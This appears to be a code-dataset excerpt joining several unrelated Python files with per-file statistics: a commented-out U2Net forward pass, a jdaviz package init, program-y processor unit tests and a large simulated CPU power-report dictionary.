self.pool45(hx4) # #stage 5 # hx5 = self.stage5(hx) # hx = self.pool56(hx5) # #stage 6 # hx6 = self.stage6(hx) # hx6up = _upsample_like(hx6,hx5) # #decoder # hx5d = self.stage5d(torch.cat((hx6up,hx5),1)) # hx5dup = _upsample_like(hx5d,hx4) # hx4d = self.stage4d(torch.cat((hx5dup,hx4),1)) # hx4dup = _upsample_like(hx4d,hx3) # hx3d = self.stage3d(torch.cat((hx4dup,hx3),1)) # hx3dup = _upsample_like(hx3d,hx2) # hx2d = self.stage2d(torch.cat((hx3dup,hx2),1)) # hx2dup = _upsample_like(hx2d,hx1) # hx1d = self.stage1d(torch.cat((hx2dup,hx1),1)) # #side output # d1 = self.side1(hx1d) # d2 = self.side2(hx2d) # d2 = _upsample_like(d2,d1) # d3 = self.side3(hx3d) # d3 = _upsample_like(d3,d1) # d4 = self.side4(hx4d) # d4 = _upsample_like(d4,d1) # d5 = self.side5(hx5d) # d5 = _upsample_like(d5,d1) # d6 = self.side6(hx6) # d6 = _upsample_like(d6,d1) # d0 = self.outconv(torch.cat((d1,d2,d3,d4,d5,d6),1)) # return F.sigmoid(d0), F.sigmoid(d1), F.sigmoid(d2), F.sigmoid(d3), F.sigmoid(d4), F.sigmoid(d5), F.sigmoid(d6) # """ # jittor_code = convert(pytorch_code) # print(jittor_code)

34.622222

208

0.588954

4,869

34,276

4.001027

0.050729

0.045686

0.039731

0.050716

0.951953

0.94913

0.94297

0.937683

0.936143

0.900159

0

0.087079

0.255543

34,276

990

209

34.622222

0.676373

0.447835

0

0.733333

0

0.005556

0.021418

0.001424

0

1

0.061111

false

0

0.011111

0

0.125

0.013889

0

null

0

1

0

1

0

null

0

7

edd8c7fdaef9b6620dfe6b80f62f514ea56c8aa2

162

py

Python

jdaviz/configs/cubeviz/plugins/__init__.py

check-spelling/jdaviz

bfd0514d13bdc6fa0b8c8536a603293409270337

[ "MIT", "BSD-3-Clause" ]

55

2019-05-24T18:53:05.000Z

2022-03-14T08:45:52.000Z

jdaviz/configs/cubeviz/plugins/__init__.py

check-spelling/jdaviz

bfd0514d13bdc6fa0b8c8536a603293409270337

[ "MIT", "BSD-3-Clause" ]

1,105

2019-05-09T15:17:35.000Z

2022-03-31T21:22:18.000Z

jdaviz/configs/cubeviz/plugins/__init__.py

rosteen/jdaviz

e02c08d68ef71c5e40600785f46e65e5ae95e236

[ "MIT", "BSD-3-Clause" ]

49

2019-05-07T18:05:42.000Z

2022-03-22T15:15:34.000Z

from .viewers import * # noqa from .unified_slider.unified_slider import * # noqa from .parsers import * # noqa from .moment_maps.moment_maps import * # noqa

32.4

52

0.740741

22

162

5.272727

0.409091

0.344828

0.362069

0

0.17284

162

4

53

40.5

0.865672

0.117284

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

b670a377acec8e7943980e7d67cb8514cb48bdc9

4,466

py

Python

test/programytest/storage/stores/nosql/mongo/dao/test_processor.py

NeolithEra/program-y

8c2396611f30c8095e98ff02988223a641c1a3be

[ "MIT" ]

null

test/programytest/storage/stores/nosql/mongo/dao/test_processor.py

NeolithEra/program-y

8c2396611f30c8095e98ff02988223a641c1a3be

[ "MIT" ]

null

test/programytest/storage/stores/nosql/mongo/dao/test_processor.py

NeolithEra/program-y

8c2396611f30c8095e98ff02988223a641c1a3be

[ "MIT" ]

null

import unittest from programy.storage.stores.nosql.mongo.dao.processor import PreProcessor from programy.storage.stores.nosql.mongo.dao.processor import PostProcessor from programy.storage.stores.nosql.mongo.dao.processor import PostQuestionProcessor class PreProcessorTests(unittest.TestCase): def test_init_no_id(self): processor = PreProcessor(classname="test.processorclass") self.assertIsNotNone(processor) self.assertIsNone(processor.id) self.assertEqual("test.processorclass", processor.classname) self.assertEqual({'classname': 'test.processorclass'}, processor.to_document()) def test_init_with_id(self): processor = PreProcessor(classname="test.processorclass") processor.id = '666' self.assertIsNotNone(processor) self.assertIsNotNone(processor.id) self.assertEqual('666', processor.id) self.assertEqual("test.processorclass", processor.classname) self.assertEqual({'_id': '666', 'classname': 'test.processorclass'}, processor.to_document()) def test_from_document(self): processor1 = PreProcessor.from_document({'classname': 'test.processorclass'}) self.assertIsNotNone(processor1) self.assertIsNone(processor1.id) self.assertEqual("test.processorclass", processor1.classname) processor2 = PreProcessor.from_document({'_id': '666', 'classname': 'test.processorclass'}) self.assertIsNotNone(processor2) self.assertIsNotNone(processor2.id) self.assertEqual('666', processor2.id) self.assertEqual("test.processorclass", processor2.classname) class PostProcessorTests(unittest.TestCase): def test_init_no_id(self): processor = PostProcessor(classname="test.processorclass") self.assertIsNotNone(processor) self.assertIsNone(processor.id) self.assertEqual("test.processorclass", processor.classname) self.assertEqual({'classname': 'test.processorclass'}, processor.to_document()) def test_init_with_id(self): processor = PostProcessor(classname="test.processorclass") processor.id = '666' self.assertIsNotNone(processor) self.assertIsNotNone(processor.id) self.assertEqual('666', processor.id) self.assertEqual("test.processorclass", processor.classname) self.assertEqual({'_id': '666', 'classname': 'test.processorclass'}, processor.to_document()) def test_from_document(self): processor1 = PostProcessor.from_document({'classname': 'test.processorclass'}) self.assertIsNotNone(processor1) self.assertIsNone(processor1.id) self.assertEqual("test.processorclass", processor1.classname) processor2 = PostProcessor.from_document({'_id': '666', 'classname': 'test.processorclass'}) self.assertIsNotNone(processor2) self.assertIsNotNone(processor2.id) self.assertEqual('666', processor2.id) self.assertEqual("test.processorclass", processor2.classname) class PostQuestionProcessorTests(unittest.TestCase): def test_init_no_id(self): processor = PostQuestionProcessor(classname="test.processorclass") self.assertIsNotNone(processor) self.assertIsNone(processor.id) self.assertEqual("test.processorclass", processor.classname) self.assertEqual({'classname': 'test.processorclass'}, processor.to_document()) def test_init_with_id(self): processor = PostQuestionProcessor(classname="test.processorclass") processor.id = '666' self.assertIsNotNone(processor) self.assertIsNotNone(processor.id) self.assertEqual('666', processor.id) self.assertEqual("test.processorclass", processor.classname) self.assertEqual({'_id': '666', 'classname': 'test.processorclass'}, processor.to_document()) def test_from_document(self): processor1 = PostQuestionProcessor.from_document({'classname': 'test.processorclass'}) self.assertIsNotNone(processor1) self.assertIsNone(processor1.id) self.assertEqual("test.processorclass", processor1.classname) processor2 = PostQuestionProcessor.from_document({'_id': '666', 'classname': 'test.processorclass'}) self.assertIsNotNone(processor2) self.assertIsNotNone(processor2.id) self.assertEqual('666', processor2.id) self.assertEqual("test.processorclass", processor2.classname)

42.533333

108

0.71451

422

4,466

7.462085

0.082938

0.171483

0.154335

0.080025

0.930772

0.901556

0.809146

0

0.019344

0.166592

4,466

104

109

42.942308

0.826706

0

0.835443

0

0.16592

0

0.607595

1

0.113924

false

0

0.050633

0

0.202532

0

null

0

1

0

1

0

null

0

1

0

8

b67f70c44d341391e6967880195ac974cc3cdb39

68,566

py

Python

benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_rr/cmp_calculix/power.py

TugberkArkose/MLScheduler

e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061

[ "Unlicense" ]

null

benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_rr/cmp_calculix/power.py

TugberkArkose/MLScheduler

e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061

[ "Unlicense" ]

null

benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_rr/cmp_calculix/power.py

TugberkArkose/MLScheduler

e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061

[ "Unlicense" ]

null

power = {'BUSES': {'Area': 1.33155, 'Bus/Area': 1.33155, 'Bus/Gate Leakage': 0.00662954, 'Bus/Peak Dynamic': 0.0, 'Bus/Runtime Dynamic': 0.0, 'Bus/Subthreshold Leakage': 0.0691322, 'Bus/Subthreshold Leakage with power gating': 0.0259246, 'Gate Leakage': 0.00662954, 'Peak Dynamic': 0.0, 'Runtime Dynamic': 0.0, 'Subthreshold Leakage': 0.0691322, 'Subthreshold Leakage with power gating': 0.0259246}, 'Core': [{'Area': 32.6082, 'Execution Unit/Area': 8.2042, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 0.453547, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.558924, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 2.4478, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.122718, 'Execution Unit/Instruction Scheduler/Area': 2.17927, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.328073, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.00115349, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.20978, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.735586, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.017004, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00962066, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00730101, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 1.00996, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00529112, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 2.07911, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 1.27377, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0800117, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0455351, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 4.84781, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.841232, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.000856399, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.55892, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.730543, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.0178624, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00897339, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 2.7399, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.114878, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.0641291, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.351814, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 9.97467, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.462441, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0266656, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.362687, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.197208, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.825128, 'Execution Unit/Register Files/Runtime Dynamic': 0.223874, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0442632, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00607074, 'Execution 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'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.536185, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451, 'Execution Unit/Instruction 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'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000687776, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000265431, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with 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'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00764096, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.099131, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.30558, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 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'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.252422, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.343996, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 8.96396, 'Instruction Fetch Unit/Runtime Dynamic': 0.709478, 'Instruction Fetch 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'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.399995, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0414031, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.641818, 'Memory Management Unit/Runtime Dynamic': 0.092296, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 23.021, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.648137, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming 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'Execution Unit/Instruction Scheduler/Area': 1.66526, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.339927, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.54829, 'Execution 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Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000273455, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00151476, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00385244, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00785899, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.101369, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.25153, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.344295, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 8.96396, 'Instruction Fetch Unit/Runtime Dynamic': 0.708906, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932286, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.0668276, 'L2/Runtime Dynamic': 0.00524646, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80901, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 2.98998, 'Load Store Unit/Data Cache/Runtime Dynamic': 0.845528, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0350888, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.0567091, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.0567091, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 3.25777, 'Load Store Unit/Runtime Dynamic': 1.18191, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.139835, 'Load Store Unit/StoreQ/Runtime Dynamic': 0.27967, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591321, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283293, 'Memory Management Unit/Area': 0.4339, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.0496279, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.050624, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.399995, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0412566, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.641356, 'Memory Management Unit/Runtime Dynamic': 0.0918807, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 23.0188, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.651043, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885, 'Renaming Unit/Free List/Area': 0.0340654, 'Renaming Unit/Free List/Gate Leakage': 2.5481e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0306032, 'Renaming Unit/Free List/Runtime Dynamic': 0.0232596, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064, 'Renaming Unit/Gate Leakage': 0.00708398, 'Renaming Unit/Int Front End RAT/Area': 0.0941223, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.157271, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228, 'Renaming Unit/Peak Dynamic': 3.58947, 'Renaming Unit/Runtime Dynamic': 0.831574, 'Renaming Unit/Subthreshold Leakage': 0.0552466, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461, 'Runtime Dynamic': 5.82007, 'Subthreshold Leakage': 6.16288, 'Subthreshold Leakage with power gating': 2.55328}], 'DRAM': {'Area': 0, 'Gate Leakage': 0, 'Peak Dynamic': 0.9647131814390915, 'Runtime Dynamic': 0.9647131814390915, 'Subthreshold Leakage': 4.252, 'Subthreshold Leakage with power gating': 4.252}, 'L3': [{'Area': 61.9075, 'Gate Leakage': 0.0484137, 'Peak Dynamic': 0.572859, 'Runtime Dynamic': 0.331696, 'Subthreshold Leakage': 6.80085, 'Subthreshold Leakage with power gating': 3.32364}], 'Processor': {'Area': 191.908, 'Gate Leakage': 1.53485, 'Peak Dynamic': 98.8232, 'Peak Power': 131.935, 'Runtime Dynamic': 29.3204, 'Subthreshold Leakage': 31.5774, 'Subthreshold Leakage with power gating': 13.9484, 'Total Cores/Area': 128.669, 'Total Cores/Gate Leakage': 1.4798, 'Total Cores/Peak Dynamic': 98.2503, 'Total Cores/Runtime Dynamic': 28.9887, 'Total Cores/Subthreshold Leakage': 24.7074, 'Total Cores/Subthreshold Leakage with power gating': 10.2429, 'Total L3s/Area': 61.9075, 'Total L3s/Gate Leakage': 0.0484137, 'Total L3s/Peak Dynamic': 0.572859, 'Total L3s/Runtime Dynamic': 0.331696, 'Total L3s/Subthreshold Leakage': 6.80085, 'Total L3s/Subthreshold Leakage with power gating': 3.32364, 'Total Leakage': 33.1122, 'Total NoCs/Area': 1.33155, 'Total NoCs/Gate Leakage': 0.00662954, 'Total NoCs/Peak Dynamic': 0.0, 'Total NoCs/Runtime Dynamic': 0.0, 'Total NoCs/Subthreshold Leakage': 0.0691322, 'Total NoCs/Subthreshold Leakage with power gating': 0.0259246}}

75.017505

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0.681883

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68,566

5.779015

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0.123667

0.113048

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0.94095

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null

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1

0

1

0

null

0

7

b6a8d638f4b507ce65c9928006b506c906bc662a

1,207

py

Python

test.py

senritsuki/Python-Color-Converter

01362b00a7dbc98cc9a18d9e7d28f284743c6c70

[ "MIT" ]

null

test.py

senritsuki/Python-Color-Converter

01362b00a7dbc98cc9a18d9e7d28f284743c6c70

[ "MIT" ]

null

test.py

senritsuki/Python-Color-Converter

01362b00a7dbc98cc9a18d9e7d28f284743c6c70

[ "MIT" ]

null

